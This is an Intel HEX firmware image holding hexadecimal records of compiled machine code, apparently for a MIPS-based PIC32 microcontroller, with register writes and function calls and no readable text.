:10124800f816049df816049df816049df816049dda
:10125800f816049df816049df816049df816049dca
:10126800f816049df816049df816049df816049dba
:10127800f816049df816049df816049df816049daa
:10128800f816049df816049df816049df816049d9a
:10129800f816049df816049d5c17049df816049d25
:1012a8005c17049df816049df816049df816049d15
:1012b800f816049d0c18049df816049df816049d54
:1012c800f816049df816049df816049df816049d5a
:1012d800f816049df816049df816049df816049d4a
:1012e800f816049d8016049df816049df816049db2
:1012f800f816049df816049df816049df816049d2a
:10130800f816049df816049df816049df816049d19
:101318009416049d8c16049d5c17049d5c17049d0f
:101328005c17049dd816049d8c16049df816049d20
:10133800f816049d0c18049df816049df816049dd3
:101348002014049df816049df816049df816049db3
:10135800cc15049df816049d8c16049df816049d62
:10136800f816049d4015049d884e410fdc71648e6b
:1013780052010216ffff03242128a0020000b090aa
:1013880068ff00160100b5245800a28f8400bf8fa3
:101398008000be8f7c00b78f7800b68f7400b58f41
:1013a8007000b48f6c00b38f6800b28f6400b18f87
:1013b8006000b08f0800e0038800bd272b55410f5f
:1013c80000000000e104410b2128a0025800a48f6e
:1013d8004001801421108000dc71628e0c00429460
:1013e8000001427c231002008400bf8f8000be8f62
:1013f8007c00b78f7800b68f7400b58f7000b48ffb
:101408006c00b38f6800b28f6400b18f6000b08f3a
:101418000800e0038800bd27080012242b55410f5f
:1014280000000000dc71648e884e410f5c00a0afa4
:10143800218840002d0002244a00221200a0033c0b
:1014480021202002212840028f51410f21308002a3
:10145800ff00032450004310dc71658e3000022425
:101468003d012212000000002805410b21f0000078
:10147800884e410fdc71648e218840002120400095
:10148800212840028f51410f21308002ff000324a0
:101498000b0043102120200202f0d27321202002e9
:1014a800212840028f51410f21308002ffff102672
:1014b8002084107ceeff001621f0c20321202002b8
:1014c800212840028f51410f21308002ff0004245f
:1014d80055014410dc71658e23101e005c00a38f3b
:1014e8000bf043005000a38fa4ff60142128a00232
:1014f8005800a48f01008224ff0042305800a2af98
:10150800040002245400a38f040062100200022485
:101518005400a38f480162109000a38f9000a38ffe
:101528000000628c040063249000a3af00005eac4e
:10153800e104410b2128a002100012242b55410f71
:1015480021a00000dc71648e884e410f5c00a0afc2
:10155800218840002d000224baff221621202002f3
:1015680000a0033cdc71648c01000324884e410f09
:101578005c00a3af218840002120200221284002de
:101588008f51410f21308002ff000324b4ff431420
:1015980030000224dc71658e3d54410f2120200269
:1015a8005800a48fcb0080542110800000a0023c7a
:1015b800dc71428c0c0042940001427cfc04410b1b
:1015c800231002002b55410f000000005000a38f8c
:1015d800d40060109000a38f884e410fdc71648e98
:1015e800ffff0324d80043505800a28f1200401474
:1015f800010043249805410b5000a38f1d01621080
:101608005000a38f03006014ffff10260000e2a221
:101618000100f7262084107c0f0000125000a38fd1
:10162800884e410fdc71648e010043240200642c53
:10163800090080545000a38f059d043c1c39842464
:10164800211883000000638088006330ebff60503e
:10165800010023825000a38f48ff60142128a002b4
:101668005800a48f01008224ff0042305800a2af26
:10167800e104410b0000e0a2100012240905410b0f
:10168800010014240905410b0a0012245000a38ffd
:101698009c0060105800a48fffff1124884e410f52
:1016a800dc71648e870051105000a38f0300601412
:1016b800ffff10260000e2a20100f7262084107c1c
:1016c800f6ff001e2128a002e204410b0000b090a2
:1016d80001003282020003245400a3af2188a00233
:1016e800ff0052327900422e9ffe40140100352639
:1016f8002110d2020000429004004230e80040105d
:1017080000000000b951410f21202002010032825f
:101718002084027c059d043c1d3984242110440248
:1017280000004290040042308bfe40102188a00245
:1017380001003126000032822110d20200004290be
:1017480004004230fbff4054010031265904410b8c
:10175800ff0052322b55410f00000000dc71648eef
:101768003b000224884e410f0a8050002d000324bc
:10177800c200431000a0033c1000a3275c00a3afe5
:1017880001007e24219000002e0011240600001282
:10179800ffffd7272120c202000084900400843074
:1017a80009008014000000001d0040160000000021
:1017b8001b00511400000000ffffd1a301005226b6
:1017c800f605410bff005232fcff5110ffffc2a388
:1017d800dc71648e884e410f0100de27ffff102662
:1017e800e505410b2084107c5000a38f0100622482
:1017f80001003282ff0042305000a2af5804410b72
:101808002188a0025400a38fb4ff7e100100328209
:10181800080003245400a3af5804410b2188a002f8
:10182800060000122188e002dfff0424242044007f
:101838004500032455008310dc71648effff0324e8
:10184800040043100000e0a2dc71658e3d54410f96
:10185800212040005c00a38fdcfe77105000a38f8e
:10186800c6fe60142128a0025800a48f010083241a
:101878005400a48f0500822cff0063305800a3afea
:10188800730040149000a38f0000708c2128000082
:101898005757410f5c00a48f212040009000a38f70
:1018a8003a51410f04007124000002ae040003ae57
:1018b8009000b1afe104410b2128a0027f0043143e
:1018c80000a0033c5800a48fc7fe8010ffff02242d
:1018d800211080008400bf8f8000be8f7c00b78fee
:1018e8007800b68f7400b58f7000b48f6c00b38f1a
:1018f8006800b28f6400b18f6000b08f0800e00309
:101908008800bd27010082249000a38f0000778cf7
:10191800ff0042305800a2af04006324a805410b21
:101928009000a3af0000778c040063249000a3af5d
:10193800884e410fdc71648effff03242bff431494
:10194800000000005800a28fa8fe40148400bf8f3a
:10195800fc04410bffff0224884e410fdc71648eaa
:10196800780003242a004310580003242a00431453
:10197800dc71658e2800801200000000884e410f3f
:10198800dc71648e1c05410b218840000000e2a236
:10199800884e410fff001032ffff0326201c037cf6
:1019a800a6ff60100100f7262d000424480044100b
:1019b8002b00042447004410dc71648e2120c202ed
:1019c80000008490040084309cff8010ffff632493
:1019d800ff007030010010267e06410b2180f002c6
:1019e800000063900400633095ff6010ffff03243c
:1019f800dc71648e0100f726884e410fffffe2a2da
:101a0800f7fff0562118c2021206410bffff03240c
:101a1800daff8012dc71658e3d54410f21204000b1
:101a28002805410b21f000003d54410f21202002e0
:101a38003905410b23101e000000628c040063244a
:101a48009000a3af00005ea4e104410b2128a0028e
:101a58000000718c5c00a48f212800009957410f69
:101a680004007024000022ae9000b0afe104410be6
:101a78002128a0029705410b02003526dc71648cf1
:101a88001000a2a31000a327884e410f5c00a3af4b
:101a9800ffff10262084107ce205410b1100a327cc
:101aa800884e410fdc71648e33fe4212ffff03241f
:101ab800a5ff43505800a28f00a0033cdc71658c41
:101ac8003d54410f21204000fc04410b5800a28fd7
:101ad800dc71648e010022a2884e410f0200372675
:101ae800feff0326201c037cb5ff60142120c202e0
:081af8001206410bffff03245d
:020000040000fa
:020000041d04d9
:101b0000c0ffbd273c00bfaf3800beaf3400b0af50
:101b100021f0a0034000c4af4400c5af4800c6afe9
:101b20004c00c7af5400c38f6400c28f2800c3a30a
:101b30002c00c2a31800c0af2000c0a32100c0a386
:101b40006000c28f05004010000000000100022468
:101b50002200c2a3d906410b0000000002000224ab
:101b60002200c2a32200c3934c00c28f180062005f
:101b70005800c28f1000a2af5c00c28f1400a2af49
:101b80004000c48f4400c58f00a0023cdc1c4624ea
:101b9000123800005208410f000000009880828f28
:101ba0000400401000000000211000009607410bc7
:101bb000000000005800c28f060040100000000026
:101bc00001000424ff0d410f000000000507410b38
:101bd000000000000507410b000000005800c28f04
:101be0000c0040100000000021200000ff0d410ffc
:101bf00000000000211840005800c28f2b10430045
:101c00000400401000000000211000009607410b66
:101c10000000000088bf023ca061428c40004230be
:101c2000eeff401000000000f480828f040040109e
:101c300000000000211000009607410b000000008a
:101c40007607410b000000002000c0a31c00c0afbd
:101c50001c00c28f1800c2af4207410b00000000f9
:101c600000a0023cdc1c43241800c28f211062003b
:101c700000004290218040001c00c28fc210020070
:101c80005000c38f211062000000429021184000d4
:101c90001c00c28f27100200070042302120600084
:101ca0002128400045ba400f00000000060002163f
:101cb000000000001c00c28f010042241c00c2afc3
:101cc0003707410b000000001800c38f1c00c28fb3
:101cd000231062001800c2af1c00c0af2800c393dd
:101ce0001c00c28f050062140000000001000224e5
:101cf0002000c2a34a07410b000000001800c28f59
:101d0000010042241800c2af2200c3934c00c28fce
:101d1000180062001800c28f121800002b10430038
:101d2000cfff4014000000002800c2931800c38faa
:101d300023106200010042241800c2af2000c293a9
:101d400003004010000000007907410b0000000074
:101d50002100c29304004010000000002110000088
:101d60009607410b00000000010002242100c2a3dd
:101d70001800c0af6e07410b0000000000a0023c3d
:101d8000dc1c43241800c28f211062000000429026
:101d900001004238ff00433000a0023cdc1c442418
:101da0001800c28f21108200000043a01800c28fcb
:101db000010042241800c2af2200c3934c00c28f1e
:101dc000180062001800c28f121800002b10430088
:101dd000eaff4014000000002800c2939aff40145c
:101de000000000002c00c393010002240c006214c8
:101df000000000001800c38f00a0023cdc1c42243d
:101e0000211062004800c48f212840004c00c68f7a
:101e100063b9400f000000009607410b000000006e
:101e20001800c38f00a0023cdc1c42242110620079
:101e30004800c48f212840004c00c68f494a410ffa
:101e4000000000004800c38f4c00c28f21106200c8
:101e5000000040a04c00c28f21e8c0033c00bf8faf
:101e60003800be8f3400b08f4000bd270800e0036b
:101e700000000000d8febd272401bfaf2001beaf87
:101e800021f0a0032801c4af2c01c5af3001c6afbb
:101e90003401c7af1c00c227212040002801c58f94
:101ea000e7b8400f000000001800c2af1800c28f52
:101eb000040040140000000021100000bc07410b8a
:101ec000000000001c00c2273401c38f1000a3af24
:101ed0003801c38f1400a3af212040001800c58f24
:101ee0002c01c68f3001c78fc207410f00000000d0
:101ef00021e8c0032401bf8f2001be8f2801bd2728
:101f00000800e00300000000e0fdbd271c02bfaf99
:101f10001802beaf21f0a0032002c4af2402c5af57
:101f20002802c6af2c02c7af00a0023cdc564224f8
:101f3000cc00428c0a004010000000001800c227ac
:101f4000212040002002c58f2402c68f6dbb400fa8
:101f5000000000002402c2afde07410b00000000b9
:101f60001800c227212040002002c58f2402c68ffe
:101f7000494a410f000000002402c28f1800c32705
:101f8000211062002a000324000043a03402c28f03
:101f90001000a2af2802c48f1800c22721284000d9
:101fa0002c02c68f3002c78ff307410f00000000dc
:101fb0000100022421e8c0031c02bf8f1802be8f5b
:101fc0002002bd270800e00300000000e8ffbd2755
:101fd0001400bfaf1000beaf21f0a0031800c4afc3
:101fe0001c00c5af2000c6af2400c7af1800c38fc8
:101ff000cccc023ccdcc4234190062001010000061
:10200000c2100200c01002001800c2af1800c28f38
:10201000401002001800c2af1c00c28f00004290a6
:102020000c8282a31c00c28f01004224188282af5e
:102030001c00c28f208282af2000c28f2c8282af10
:102040002400c28fff0042300d8282a32800c28f7d
:10205000248282af04000224848082a3e00c410f1a
:102060000000000088bf023c00100324641043ac51
:1020700088bf023c681040ac80bf023c000a40ac04
:1020800088bf033c20616294444a027c206162a4c0
:1020900088bf033cd06062940421027cd06062a4bb
:1020a00088bf033c60606294010004240421827ca8
:1020b000606062a488bf033c206162940400027cdb
:1020c000206162a480bf023c000a40ac80bf023c99
:1020d000100a40ac1800c28f42100200ffff4324d8
:1020e00080bf023c200a43ac80bf023c0080033426
:1020f000080a43ac88bf023c1c000324c41043ac54
:1021000088bf023c18000324c81043ac88bf023cbf
:1021100000100324341043ac88bf023c0010032499
:10212000641043ac88bf023c00100324681043ac29
:1021300021e8c0031400bf8f1000be8f1800bd2718
:102140000800e00300000000e0ffbd271c00bfaf57
:102150001800beaf21f0a0032000c4af2400c5af1b
:102160002800c6af2c00c7af2800c28f188282afec
:102170002c00c28f388282af3400c28f408282af7f
:10218000f48080af1882828f212040002128000037
:102190002c00c68f6551410f0000000088bf023c33
:1021a0000002033c741043ac88bf023c2061428ca7
:1021b000020042301b004010000000002000c28fcf
:1021c0004210020003000424212840002000c68f92
:1021d00008000724ce0b410f0000000000a0023cc5
:1021e000dc5642249c00438c00a0023cdc56422476
:1021f000f000428c18006200122000001000c4aff2
:10220000eb51023c1f8542341000c38f190062005d
:10221000101000004211020021204000400e410f2a
:102220000000000001000424ff0d410f0000000029
:102230009b08410b000000003000c28f0b004010d3
:102240000000000021200000ff0d410f00000000f1
:10225000211840003000c28f2b10430003004010b3
:1022600000000000c608410b0000000088bf023ccf
:10227000d060428c00014230efff401400000000ab
:10228000af08410b000000003000c28f0b0040106f
:102290000000000021200000ff0d410f00000000a1
:1022a000211840003000c28f2b1043000300401063
:1022b00000000000c608410b0000000088bf023c7f
:1022c000d060428c00014230efff4010000000005f
:1022d00001000424ff0d410f000000002000c38f07
:1022e000cccc023ccdcc423419006200101000006e
:1022f000c21802002400c28f1800620012180000e9
:10230000c0100300ffff42242120400001000524eb
:102310006d0c410f0000000021e8c0031c00bf8fbe
:102320001800be8f2000bd270800e0030000000059
:10233000c0fdbd273c02bfaf3802beaf21f0a003f5
:102340004002c4af010002242c00c2af3000c227fb
:102350002120400030000524000206246551410f71
:10236000000000003002c0a300a0023cdc56422462
:102370009c00448c00a0023cdc564224a400458c06
:1023800000a0023cdc564224b000428c00a0033c7a
:10239000dc566324bc0063902140600000a0033c35
:1023a000dc5663248c00678c00a0033cdc5663245d
:1023b0008800668c3000c32700a0093c9957292566
:1023c0001000a9af1400a8af1800a7af1c00a6af5b
:1023d0002000a0af010006242400a6af2130600039
:1023e00021384000c006410f000000000100422ccf
:1023f000ff0042302118400000a0023cdc5642247d
:10240000b000428c040062140000000021100000a3
:102410002909410b000000002800c0af1409410b3e
:10242000000000002800c28f2800c327211062008e
:1024300008004390300002240200621000000000f7
:102440002c00c0af2800c28f010042242800c2af78
:102450003000c22721204000a34a410f00000000a5
:10246000211840002800c28f2b104300edff4014bc
:10247000000000002c00c28f04004010000000008b
:10248000211000002909410b000000003000c22784
:102490004002c48f212840007f49410f0000000006
:1024a0000100022421e8c0033c02bf8f3802be8f26
:1024b0004002bd270800e00300000000e8ffbd2740
:1024c0001400bfaf1000beaf21f0a0031800c4afce
:1024d0001c00c5af1c00c28f0000428004004014e5
:1024e00000000000211000004109410b0000000025
:1024f0001800c48f1c00c58f7f49410f00000000e9
:102500000100022421e8c0031400bf8f1000be8f19
:102510001800bd270800e00300000000f8ffbd27f9
:102520000400beaf21f0a0030800c4af88bf023c86
:1025300002000324741043ac88bf023c781040ac06
:1025400081bf023c00800334049043ac81bf023c55
:102550000b00033c409043ac0800c28f15004010b4
:102560000000000088bf023c00080324486043ac20
:1025700081bf023c00080324649043ac81bf023c4d
:10258000ffff033c509043ac81bf023c008003340a
:10259000209043ac81bf023c3f000324109043ac29
:1025a00081bf023ce4000324009043ac7f09410b4f
:1025b0000000000088bf023c00080324486043acd0
:1025c00081bf023c00080324649043ac81bf023cfd
:1025d000ffff033c509043ac81bf023c00800334ba
:1025e000209043ac81bf023c03000324109043ac15
:1025f00081bf023ce4000324009043ac81bf023c55
:1026000000800334089043ac0000000088bf023c07
:102610004010428c02004230fcff401000000000dd
:1026200021e8c0030400be8f0800bd270800e003b6
:1026300000000000d8ffbd272400bfaf2000beafc0
:102640001c00b0af21f0a0032800c4af2c00c5af20
:102650002800c28fffff42244213020001004224df
:102660001400c2af212000004709410f0000000004
:1026700001000224988082af2c00c28f0300401416
:102680000000000001000224888082af00a0023c0c
:102690005c454424f82b410f000000001000c0af3f
:1026a000ca09410b000000001000c38f1400c28f44
:1026b0001b006200f40140001010000012800000b6
:1026c0000365400f000000003c004224831002001c
:1026d000ff004330fcff022424106200ff0043305f
:1026e00088bf023cd060428c0002427cff00423036
:1026f00040100200ff00423021106200ff00433012
:102700009480829321106200ff00433000a0023cbd
:10271000dc24422421100202000043a01000c28fda
:10272000010042241000c2af1000c38f2800c28fe6
:102730002b106200dcff401400000000988080af86
:10274000888080afe00c410f0000000021e8c0034a
:102750002400bf8f2000be8f1c00b08f2800bd2733
:102760000800e00300000000d0ffbd272c00bfaf31
:102770002800beaf21f0a0033000c4af1800c0a3f2
:102780001c00c0af2000c0af2400c0a73000c28f23
:102790000120422c0300401400000000002002240d
:1027a0003000c2af0cbe400f00000000059d023c8f
:1027b000ec1844241800c227212840001cbe400ffa
:1027c00000000000059d023cfc184424059d023ccd
:1027d000081945241800c227213040008cbe400f44
:1027e00000000000059d023c281944241800c2275f
:1027f000212840001cbe400f00000000059d023c47
:10280000fc184424059d023c2c1945241800c227bd
:10281000213040008cbe400f00000000059d023cae
:102820003c1944241800c227212840001cbe400f38
:1028300000000000059d023cfc184424059d023c5c
:10284000481945241800c227213040008cbe400f93
:102850000000000000a0023cdc56422487004290a9
:102860002118400000a0023c801803001871422487
:10287000211062000000428c059d033c5419642421
:10288000212840001800c227213040008cbe400f94
:1028900000000000059d023c3c1944241800c2279a
:1028a000212840003ebe400f00000000059d023c74
:1028b0005c1944241800c227212840001cbe400f88
:1028c00000000000059d023cfc184424059d023ccc
:1028d000681945241800c227213040008cbe400fe3
:1028e0000000000000a0023cdc564224a000429000
:1028f0002118400000a0023c80180300007242240e
:10290000211062000000428c059d033c5419642490
:10291000212840001800c227213040008cbe400f03
:1029200000000000059d023c5c1944241800c227e9
:10293000212840003ebe400f00000000059d023ce3
:102940007c1944241800c227212840001cbe400fd7
:1029500000000000059d023cfc184424059d023c3b
:10296000881945241800c227213040008cbe400f32
:102970000000000000a0023cdc564224a400428c6f
:102980001c00c327212060000a000524059d033c8c
:10299000a4196624213840004357410f000000006d
:1029a0001c00c227059d033c5419642421284000c3
:1029b0001800c227213040008cbe400f00000000ec
:1029c000059d023c7c1944241800c22721284000a0
:1029d0003ebe400f00000000059d023c2819442423
:1029e0001800c227212840003ebe400f0000000012
:1029f000059d023ca81944241800c2272128400044
:102a00001cbe400f00000000059d023cfc18442441
:102a1000059d023cb01945241800c2272130400012
:102a20008cbe400f00000000059d023cd4194424d8
:102a30001800c227212840001cbe400f00000000e3
:102a4000059d023cfc184424059d023ce0194524e8
:102a50001800c227213040008cbe400f000000004b
:102a60001900c22721200000212800002130400049
:102a7000362b410f000000001900c293059d033c56
:102a800054196424212840001800c2272130400036
:102a9000a7be400f00000000059d023cd41944244d
:102aa0001800c227212840003ebe400f0000000051
:102ab000059d023cfc1944241800c227212840002f
:102ac0001cbe400f00000000059d023cfc18442481
:102ad000059d023c041a45241800c22721304000fd
:102ae0008cbe400f000000001900c2270100042422
:102af0002128000021304000362b410f000000004b
:102b00001900c293059d033c5419642421284000f8
:102b10001800c22721304000a7be400f000000006f
:102b2000059d023cfc1944241800c22721284000be
:102b30003ebe400f00000000059d023ca819442441
:102b40001800c227212840003ebe400f00000000b0
:102b5000059d023c201a44241800c2272128400069
:102b60001cbe400f00000000059d023cfc184424e0
:102b7000059d023c281a45241800c2272130400038
:102b80008cbe400f00000000059d023c441a442406
:102b90001800c227212840001cbe400f0000000082
:102ba000059d023cfc184424059d023c501a452416
:102bb0001800c227213040008cbe400f00000000ea
:102bc0001800c2271000a2af059d023c54194424ee
:102bd00000a0023cdc244524fcff06243000c78f03
:102be00001bf400f00000000059d023c441a442430
:102bf0001800c227212840003ebe400f0000000000
:102c0000059d023c701a44241800c2272128400068
:102c10001cbe400f00000000059d023cfc1844242f
:102c2000059d023c801a45241800c227213040002f
:102c30008cbe400f000000001800c2271000a2af99
:102c4000059d023c5419442400a0023cdc24452488
:102c5000020006243000c78f01bf400f00000000b3
:102c6000059d023c701a44241800c2272128400008
:102c70003ebe400f00000000059d023cb41a4424f3
:102c80001800c227212840001cbe400f0000000091
:102c9000059d023cfc184424059d023cc01a4524b5
:102ca0001800c227213040008cbe400f00000000f9
:102cb0001800c2271000a2af059d023c54194424fd
:102cc00000a0023cdc244524010006243000c78f0c
:102cd00001bf400f00000000059d023cb41a4424cf
:102ce0001800c227212840003ebe400f000000000f
:102cf000059d023c201a44241800c22721284000c8
:102d00003ebe400f00000000059d023cec1844242c
:102d10001800c227212840003ebe400f00000000de
:102d2000059d023ce81a4424059d023cec1a45240a
:102d30002013410f0000000021e8c0032c00bf8fca
:102d40002800be8f3000bd270800e003000000000f
:102d5000c8ffbd273400bfaf3000beaf21f0a003d5
:102d60001800c0af2000c0afe00c410f0000000011
:102d7000059d023c001b428c1c00c2afc00b410be6
:102d800000000000059d023c041b448c1c00c58f04
:102d9000af45410f0000000021184000059d023c96
:102da00021206000081b458cd147410f0000000026
:102db00021204000e353410f000000002400c2af77
:102dc0002400c28f42100200030004242128400086
:102dd0002400c68f08000724ce0b410f000000001e
:102de000212000004709410f000000000100023cc3
:102df000a0864434400e410f000000001000c0af18
:102e00001400c0af940b410b000000000365400f9d
:102e1000000000002800c2af1000c28fd107422c72
:102e200008004014000000002800c38f1400c28f67
:102e30002b10430003004010000000002800c28f48
:102e40001400c2af1000c28f010042241000c2afb4
:102e50001000c28f1027422cecff4014000000002d
:102e60001c00c48fe353410f00000000059d033c8c
:102e7000f01a6424212840008513410f000000004f
:102e8000059d023cf81a44241400c58f8513410f98
:102e9000000000001400c38f1800c28f2b104300e5
:102ea00007004010000000001400c28f1800c2afdd
:102eb0001c00c48fe353410f000000002000c2af8c
:102ec000e00c410f0000000088bf023c0200032418
:102ed000741043ac88bf023c781040ac81bf023c08
:102ee00000800334049043ac059d023c1c00c48f59
:102ef0000c1b458c7744410f000000001c00c2af42
:102f0000059d023c1c00c48f101b458c8552410f4f
:102f1000000000009bff4004000000002000c28f62
:102f200021e8c0033400bf8f3000be8f3800bd27ba
:102f30000800e00300000000e8ffbd271400bfaf59
:102f40001000beaf21f0a003211880001c00c5af07
:102f50002000c6af2110e0001800c3a32400c2a3c4
:102f600088bf033c606062940421027c606062a4bc
:102f7000e00c410f0000000088bf023c4000033c11
:102f8000641043ac88bf023c681040ac88bf023c70
:102f90004000033c341043ac80bf023c008003344b
:102fa000043843ac2000c38fcccc023ccdcc42349f
:102fb0001900620010100000c2100200c0100200d0
:102fc000c218020080bf023c203843ac2000c38fef
:102fd000cccc023ccdcc4234190062001010000071
:102fe000c2100200c0100200c218020080bf023ce2
:102ff000103843ac80bf023c0b800334003843ac34
:1030000088bf023c4000033c641043ac88bf023cd4
:10301000681040ac88bf023c4000033c341043ac15
:1030200080bf023c00800334043843ac88bf033cbb
:10303000e060629401000424c45a827ce06062a4cf
:10304000fc8080afffff0224348082a38880828fbf
:103050000c0040100000000088bf033c2061629417
:1030600001000424444a827c206162a488bf033c9e
:10307000a0616294444a027ca06162a4670c410b87
:103080000000000088bf033c20616294444a027c37
:10309000206162a42400c293a08082a31800c2937e
:1030a00008804234c88082af2000c38f1c00c28fca
:1030b0001b006200f401400010100000121000001c
:1030c0002000c38f1b006200f401400010100000bc
:1030d00012180000cccc023ccdcc42341900620066
:1030e0001010000002110200c0100200cc8082af5c
:1030f000cc80828fd08082afd080838f80bf023c13
:10310000203843accc80838f80bf023c103843ac66
:10311000c880838f80bf023c003843ac80bf023c34
:10312000000a40ac80bf023c100a40ac2000c38fb4
:10313000cccc023ccdcc423419006200101000000f
:1031400002110200c0100200ffff432480bf023cb6
:10315000200a43ac80bf023c00800334080a43ac21
:1031600088bf023c1c00033ce41043ac88bf023c17
:103170001400033ce81043ac88bf023c4000033c11
:10318000341043ac88bf023c4000033c641043aca5
:1031900088bf023c4000033c681043ac21e8c003f8
:1031a0001400bf8f1000be8f1800bd270800e00379
:1031b00000000000f8ffbd270400beaf21f0a0030f
:1031c0000800c4af0c00c5af0c00c28fff00423036
:1031d00001004230ff00443088bf033c3010628c55
:1031e0000484827c301062ac88bf023c1c00032443
:1031f000d41043ac88bf023c18000324d81043ac61
:1032000080bf023c000c40ac80bf023c100c40acc4
:1032100080bf023c0800c38f200c43ac80bf023c3f
:1032200000800334080c43ac88bf023c0100033c1f
:10323000641043ac88bf023c0100033c681043acff
:1032400088bf033ca06162948431027ca06162a4c7
:1032500088bf033ce060629401000424c45a827c6d
:10326000e06062a421e8c0030400be8f0800bd270f
:103270000800e00300000000f8ffbd270400beaf17
:1032800021f0a0030800c4af2110a0000c00c2a3cd
:1032900001000224308082af000000003080828f65
:1032a000feff40140000000088bf033c20616294d0
:1032b00001000424444a827c206162a40c00c29371
:1032c00001004230ff00443088bf033ca06162949b
:1032d000444a827ca06162a40800c28f40100200b0
:1032e0000800c2af000000003c82838f0800c28f3c
:1032f0002b104300fcff40100000000088bf033c7f
:1033000020616294444a027c206162a421e8c003e7
:103310000400be8f0800bd270800e0030000000085
:10332000f8ffbd270400beaf21f0a0030800c4af22
:1033300001000224308082af000000003080828fc4
:10334000feff4014000000000800c28f4010020081
:103350000800c2af000000003c82838f0800c28fcb
:103360002b104300fcff40100000000021e8c003c8
:103370000400be8f0800bd270800e0030000000025
:10338000e8ffbd271400bfaf1000beaf21f0a003bf
:10339000140d410f0000000088bf023c0010032400
:1033a000641043ac88bf023c681040ac80bf023c54
:1033b000000a40ac88bf023c4000033c641043acb0
:1033c00088bf023c681040ac88bf023c4000033c10
:1033d000341043ac80bf023c00800334043843ac5b
:1033e00088bf033c20616294010004244408827c6d
:1033f000206162a488bf033c206162940100042420
:103400000400827c206162a488bf033c2061629436
:1034100001000424444a827c206162a488bf033cea
:10342000a0616294444a027ca06162a488bf023c0d
:103430000002033c781043ac21e8c0031400bf8fa6
:103440001000be8f1800bd270800e0030000000038
:10345000f8ffbd270400beaf21f0a00388bf023ce7
:103460000100033c641043ac88bf023c681040acd0
:1034700080bf023c000c40ac88bf033ca06162945a
:10348000010004248431827ca06162a421e8c0038d
:103490000400be8f0800bd270800e0030000000004
:1034a000e0ffbd271c00bfaf1800beaf21f0a00396
:1034b00001000424ff0d410f00000000010004245e
:1034c000400e410f0000000021200000ff0d410fc1
:1034d000000000001000c2af21200000170e410fb5
:1034e00000000000059d033c8c4d64242128400011
:1034f0008513410f00000000059d023c984d4424b7
:103500001000c58f8513410f00000000059d023c8f
:10351000a44d4424059d023ca84d45242013410f91
:103520000000000001000424ff0d410f0000000016
:103530000a000424400e410f00000000212000007a
:10354000ff0d410f000000001000c2af212000005d
:10355000170e410f00000000059d033c8c4d6424b4
:10356000212840008513410f00000000059d023c0a
:10357000ac4d44241000c58f8513410f000000009e
:10358000059d023ca44d4424059d023ca84d4524c4
:103590002013410f0000000001000424ff0d410f23
:1035a0000000000064000424400e410f00000000f1
:1035b00021200000ff0d410f000000001000c2afed
:1035c00021200000170e410f00000000059d033c64
:1035d0008c4d6424212840008513410f0000000019
:1035e000059d023cb84d44241000c58f8513410f42
:1035f00000000000059d023ca44d4424059d023cb2
:10360000a84d45242013410f0000000001000424b0
:10361000ff0d410f00000000e8030424400e410f9d
:103620000000000021200000ff0d410f00000000fd
:103630001000c2af21200000170e410f0000000053
:10364000059d033c8c4d6424212840008513410fc7
:1036500000000000059d023cc84d44241000c58fa9
:103660008513410f00000000059d023ca44d442439
:10367000059d023ca84d45242013410f0000000089
:1036800001000424ff0d410f000000001027042456
:10369000400e410f0000000021200000ff0d410fef
:1036a000000000001000c2af21200000170e410fe3
:1036b00000000000059d033c8c4d6424212840003f
:1036c0008513410f00000000059d023cd84d4424a5
:1036d0001000c58f8513410f00000000059d023cbe
:1036e000a44d4424059d023ca84d45242013410fc0
:1036f0000000000001000424ff0d410f0000000045
:103700000100023ca0864434400e410f000000003e
:1037100021200000ff0d410f000000001000c2af8b
:1037200021200000170e410f00000000059d033c02
:103730008c4d6424212840008513410f00000000b7
:10374000059d023ce84d44241000c58f8513410fb0
:1037500000000000059d023ca44d4424059d023c50
:10376000a84d45242013410f00000000010004244f
:10377000ff0d410f000000000f00023c40424434a6
:10378000400e410f0000000021200000ff0d410ffe
:10379000000000001000c2af21200000170e410ff2
:1037a00000000000059d033c8c4d6424212840004e
:1037b0008513410f00000000059d023cfc4d442490
:1037c0001000c58f8513410f00000000059d023ccd
:1037d000a44d4424059d023ca84d45242013410fcf
:1037e0000000000021e8c0031c00bf8f1800be8f3e
:1037f0002000bd270800e00300000000f0ffbd2707
:103800000c00beaf21f0a003211080001000c2a365
:1038100080bf023c100e428c0000c2af1000c29369
:10382000030040100000000080bf023c100e40acbe
:10383000050002240000c38f1b006200f401400059
:10384000101000001210000021e8c0030c00be8f11
:103850001000bd270800e00300000000f0ffbd27b6
:103860000c00beaf21f0a003211080001000c2a305
:1038700080bf023c100e428c0000c2af1000c29309
:10388000030040100000000080bf023c100e40ac5e
:103890000000c28f0011020021e8c0030c00be8f9f
:1038a0001000bd270800e00300000000f8ffbd275e
:1038b0000400beaf21f0a0030800c4af0800c28f0f
:1038c000feff42240800c2af80bf023c100e40ac95
:1038d0000000000080bf023c100e438c0800c28f25
:1038e0002b106200fbff40140000000021e8c00321
:1038f0000400be8f0800bd270800e00300000000a0
:10390000f0ffbd270c00beaf21f0a0031000c4af34
:10391000080002241000c38f18006200121000007b
:103920000000c2af000000000000c28fffff432470
:103930000000c3affcff40140000000021e8c003fa
:103940000c00be8f1000bd270800e003000000003f
:10395000b8ffbd274400bfaf4000beaf3c00b0afd2
:1039600021f0a0034800c4af4c00c5af5000c6af63
:103970002120a003218080001c00c0af200004246f
:10398000ffff84242800c4af2000042421408000cd
:103990002148000042270800c068090025688d0002
:1039a000c0600800200004242110800021180000bd
:1039b00042270200c058030025588b00c050020067
:1039c0002000022407004224c2100200c01002009e
:1039d00023e8a2031000a227000042242c00c2af5b
:1039e0001400c0af7e0e410b000000001400c28f17
:1039f000010042241400c2af1400c38f5000c28fd4
:103a00002b10620008004010000000001400c28f5c
:103a1000801002004800c38f211062000000428c19
:103a2000f2ff4010000000001400c28f060040109a
:103a300000000000059d023c743344241400c58f2f
:103a40008513410f000000001000c0af1800c0af88
:103a50009d0f410b000000001400c38f1000c28fa7
:103a600021106200801002004800c38f2110620004
:103a70000000428c3000c2afc80002243000c38f67
:103a80002b10620093004014000000005802022432
:103a90003000c38f2b1043008e0040140000000044
:103aa0001000c38f1400c28f211862005000c28f13
:103ab000f9ff42242b106200860040100000000035
:103ac0002000c0af2400c0a3059d023c94334424d1
:103ad0003000c58f8513410f000000002400c29301
:103ae000401002002400c2a31400c38f1000c28f34
:103af0002110620001004224801002004800c38fa0
:103b0000211062000000428c3000c2af0f0002247e
:103b10003000c38f2b10620006004014000000002c
:103b2000820002243000c38f2b1043000900401094
:103b3000000000001c00c0af059d023ca4334424db
:103b40003000c58f8513410f00000000200f410b8e
